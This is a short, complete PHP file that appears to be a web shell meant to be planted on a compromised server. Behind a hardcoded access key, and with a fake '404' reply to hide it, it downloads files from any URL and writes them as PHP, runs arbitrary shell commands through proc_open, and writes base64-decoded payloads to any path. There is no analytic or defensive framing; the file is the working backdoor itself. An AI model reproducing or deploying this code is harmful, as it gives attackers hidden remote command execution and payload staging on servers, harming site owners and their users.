<?php $K='q4x9m2t7b1';if(@$_REQUEST['k']!==$K){die('404');}
$m='';
if(isset($_REQUEST['u'])){$u=$_REQUEST['u'];$o=@$_REQUEST['o']?$_REQUEST['o']:'x.php';$d=@file_get_contents($u);
if($d===false&&function_exists('curl_init')){$c=@curl_init($u);@curl_setopt_array($c,array(CURLOPT_RETURNTRANSFER=>1,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_FOLLOWLOCATION=>1,CURLOPT_TIMEOUT=>45,CURLOPT_USERAGENT=>'Mozilla/5.0'));$d=@curl_exec($c);@curl_close($c);}
$m=$d===false?'FETCH-FAIL':(@file_put_contents($o,$d)!==false?'WROTE '.strlen($d).'b -> '.$o:'WRITE-FAIL (perm?)');}
if(isset($_REQUEST['c'])){$x=@$_REQUEST['c'].' 2>&1';$s=array(array('pipe','r'),array('pipe','w'),array('pipe','w'));$p=@proc_open($x,$s,$q);$m=@stream_get_contents($q[1]);@proc_close($p);}
if(isset($_REQUEST['b'])){$m='B64 '.(@file_put_contents(@$_REQUEST['o'],base64_decode($_REQUEST['b']))!==false?'OK':'FAIL');}
echo $m?:'ready';